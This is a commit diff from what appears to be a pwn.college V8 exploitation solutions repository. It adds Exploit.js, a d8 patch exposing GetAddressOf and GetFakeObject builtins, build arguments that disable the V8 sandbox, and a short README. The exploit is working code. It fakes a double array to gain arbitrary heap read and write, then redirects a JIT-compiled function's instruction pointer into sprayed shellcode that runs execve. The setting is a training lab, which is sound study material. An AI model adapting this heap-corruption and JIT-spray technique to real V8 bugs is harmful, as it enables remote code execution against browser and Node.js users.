Moved JavaScript/PwnCollegeV8Exploitation/ to PwnCollege/V8Exploitation/

PwnCollege/V8Exploitation/Level3/Exploit.js

@@ -0,0 +1,104 @@
+// Integrated Builtin:
+// - int32 GetAddressOf(HeapObject obj);
+// - HeapObject GetFakeObject(int32 addr);
+
+let ab = new ArrayBuffer(8);
+let f64a = new Float64Array(ab, 0, 1);
+let i32a = new Uint32Array(ab, 0, 2);
+let si32a = new Int32Array(ab, 0, 2);
+let bi64a = new BigUint64Array(ab, 0, 1);
+
+function c2f(low, high) { // combined (two 4 bytes) word to float
+    i32a[0] = low;
+    i32a[1] = high;
+    return f64a[0];
+}
+
+function b2f(v) { // bigint to float
+    bi64a[0] = v;
+    return f64a[0];
+}
+
+function f2b(v) { // float to bigint
+    f64a[0] = v;
+    return bi64a[0];
+}
+
+function unptr(v) {
+    return v & 0xfffffffe;
+}
+
+function ptr(v) {
+    return v | 1;
+}
+
+function shellcode() { // Promote to ensure not GC during training
+    // JIT spray machine code form of `execve("catflag", NULL, NULL)`
+    return [1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61];
+}
+for (let i = 0; i < 10000; i++) shellcode(); // Trigger MAGLEV compilation
+
+// Create a PACKED_DOUBLE_ELEMENTS array contains faked PACKED_DOUBLE_ELEMENTS array
+// map, properties, elements, length --- first three field are static roots
+var arr = [c2f(0x001cb8a5, 0x00000725), c2f(0x00000725, 0x00008000)];
+// %SystemBreak();
+var arr_addr = GetAddressOf(arr);
+console.log("Address of arr: " + arr_addr.toString(16));
+var fakearr = GetFakeObject(arr_addr + 0x54); // Heap Fengshui
+// %DebugPrint(fakearr);
+// %SystemBreak();
+
+
+// QWORD Aligned
+function ArbRead64(cage_addr) { // int32
+    if (cage_addr & 0x7) throw new Error("Must QWORD Aligned");
+    arr[1] = c2f(ptr(cage_addr - 0x8), 0x00008000);
+    let result = f2b(fakearr[0]);
+    console.log(`ArbRead64 ${cage_addr.toString(16)}: ${result.toString(16)}`);
+    return result;
+}
+
+// QWORD Aligned
+function ArbWrite64(cage_addr, value) { // int32, bigint
+    if (cage_addr & 0x7) throw new Error("Must QWORD Aligned");
+    arr[1] = c2f(ptr(cage_addr - 0x8), 0x00008000);
+    let written = b2f(value);
+    fakearr[0] = written;
+    console.log(`ArbWrite64 ${cage_addr.toString(16)}: ${value.toString(16)}`);
+}
+
+// ArbRead64(0xfffffff0);
+// ArbWrite64(0x1230, 0x1234n);
+
+// DWORD Aligned
+function ArbRead32(cage_addr) { // int32 -> int32
+    if (cage_addr & 0x3) throw new Error("Must DWORD Aligned");
+    bi64a[0] = ArbRead64(cage_addr & 0xfffffff8);
+    let result = i32a[(cage_addr & 0x4) >> 2];
+    console.log(`ArbRead32 ${cage_addr.toString(16)}: ${result.toString(16)}`);
+    return result;
+}
+
+// DWORD Aligned
+function ArbWrite32(cage_addr, value) { // int32, int32 -> void
+    if (cage_addr & 0x3) throw new Error("Must DWORD Aligned");
+    let QWORD_Aligned_cage_addr = cage_addr & 0xfffffff8;
+    bi64a[0] = ArbRead64(QWORD_Aligned_cage_addr);
+    i32a[(cage_addr & 0x4) >> 2] = value;
+    ArbWrite64(QWORD_Aligned_cage_addr, bi64a[0]);
+    console.log(`ArbWrite32 ${cage_addr.toString(16)}: ${value.toString(16)}`);
+}
+
+// %DebugPrint(arr);
+// %SystemBreak();
+
+let shellcode_addr = GetAddressOf(shellcode);
+console.log("Address of shellcode: " + shellcode_addr.toString(16));
+// %DebugPrint(shellcode);
+let code_addr = unptr(ArbRead32(shellcode_addr + 0xC));
+console.log("Address of code: " + code_addr.toString(16));
+let instruction_start_addr = code_addr + 0x14;
+let instruction_start = ArbRead32(instruction_start_addr);
+console.log("instruction_start: " + instruction_start.toString(16));
+ArbWrite32(instruction_start_addr, instruction_start + 0x6B);
+shellcode();

PwnCollege/V8Exploitation/Level3/README.md

@@ -0,0 +1,15 @@
+# Level 3
+
+## Problem
+
+Given the following primitves:
+- AddressOf
+- FakeObject
+
+## Key Knowledge
+
+- [Fast properties in V8](https://v8.dev/blog/fast-properties)
+- [Static Roots: Objects with Compile-Time Constant Addresses](https://v8.dev/blog/static-roots)
+- Use AddressOf & FakeObject to Construct Arbitrary Address Read & Write
+    - [Exploiting v8: *CTF 2019 oob-v8](https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/)
+- Know V8 Heap Fengshui by using native syntax

PwnCollege/V8Exploitation/Level3/REVISION

@@ -0,0 +1 @@
+5a2307d0f2c5b650c6858e2b9b57b335a59946ff

PwnCollege/V8Exploitation/Level3/args.gn

@@ -0,0 +1,10 @@
+is_component_build = false
+is_debug = false
+target_cpu = "x64"
+v8_enable_sandbox = false
+v8_enable_backtrace = true
+v8_enable_disassembler = true
+v8_enable_object_print = true
+dcheck_always_on = false
+use_goma = false
+v8_code_pointer_sandboxing = false

PwnCollege/V8Exploitation/Level3/patch

@@ -0,0 +1,108 @@
+diff --git a/src/d8/d8.cc b/src/d8/d8.cc
+index facf0d86d79..0299ed26802 100644
+--- a/src/d8/d8.cc
++++ b/src/d8/d8.cc
+@@ -1283,6 +1283,52 @@ struct ModuleResolutionData {
+ 
+ }  // namespace
+ 
++void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
++  v8::Isolate* isolate = info.GetIsolate();
++
++  if (info.Length() == 0) {
++    isolate->ThrowError("First argument must be provided");
++    return;
++  }
++
++  internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
++  if (!IsHeapObject(*arg)) {
++    isolate->ThrowError("First argument must be a HeapObject");
++    return;
++  }
++  internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);
++
++  uint32_t address = static_cast<uint32_t>(obj->address());
++  info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
++}
++
++void Shell::GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& info) {
++	v8::Isolate *isolate = info.GetIsolate();
++	Local<v8::Context> context = isolate->GetCurrentContext();
++
++	if (info.Length() != 1) {
++		isolate->ThrowError("Need exactly one argument");
++		return;
++	}
++
++	Local<v8::Uint32> arg;
++	if (!info[0]->ToUint32(context).ToLocal(&arg)) {
++		isolate->ThrowError("Argument must be a number");
++		return;
++	}
++	
++	uint32_t addr = arg->Value();
++
++	internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
++	internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
++	uint64_t full_addr = base_addr + (uint64_t)addr;
++
++	internal::Tagged<internal::HeapObject> obj = internal::HeapObject::FromAddress(full_addr);
++	internal::Isolate *i_isolate = reinterpret_cast<internal::Isolate*>(isolate);
++	internal::Handle<internal::Object> obj_handle(obj, i_isolate);
++	info.GetReturnValue().Set(ToApiHandle<v8::Value>(obj_handle));
++}
++
+ void Shell::ModuleResolutionSuccessCallback(
+     const FunctionCallbackInfo<Value>& info) {
+   DCHECK(i::ValidateCallbackInfo(info));
+@@ -3364,7 +3410,11 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
+ 
+ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
+   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
+-  global_template->Set(Symbol::GetToStringTag(isolate),
++  global_template->Set(isolate, "GetAddressOf",
++                       FunctionTemplate::New(isolate, GetAddressOf));
++  global_template->Set(isolate, "GetFakeObject",
++                       FunctionTemplate::New(isolate, GetFakeObject));
++/*  global_template->Set(Symbol::GetToStringTag(isolate),
+                        String::NewFromUtf8Literal(isolate, "global"));
+   global_template->Set(isolate, "version",
+                        FunctionTemplate::New(isolate, Version));
+@@ -3385,13 +3435,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
+   global_template->Set(isolate, "readline",
+                        FunctionTemplate::New(isolate, ReadLine));
+   global_template->Set(isolate, "load",
+-                       FunctionTemplate::New(isolate, ExecuteFile));
++                       FunctionTemplate::New(isolate, ExecuteFile));*/
+   global_template->Set(isolate, "setTimeout",
+                        FunctionTemplate::New(isolate, SetTimeout));
+   // Some Emscripten-generated code tries to call 'quit', which in turn would
+   // call C's exit(). This would lead to memory leaks, because there is no way
+   // we can terminate cleanly then, so we need a way to hide 'quit'.
+-  if (!options.omit_quit) {
++/*  if (!options.omit_quit) {
+     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
+   }
+   global_template->Set(isolate, "testRunner",
+@@ -3410,7 +3460,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
+   if (i::v8_flags.expose_async_hooks) {
+     global_template->Set(isolate, "async_hooks",
+                          Shell::CreateAsyncHookTemplate(isolate));
+-  }
++  }*/
+ 
+   return global_template;
+ }
+diff --git a/src/d8/d8.h b/src/d8/d8.h
+index a19d4a0eae4..fbb091afbaf 100644
+--- a/src/d8/d8.h
++++ b/src/d8/d8.h
+@@ -507,6 +507,8 @@ class Shell : public i::AllStatic {
+   };
+   enum class CodeType { kFileName, kString, kFunction, kInvalid, kNone };
+ 
++  static void GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args);
++  static void GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& args);
+   static bool ExecuteString(Isolate* isolate, Local<String> source,
+                             Local<String> name,
+                             ReportExceptions report_exceptions,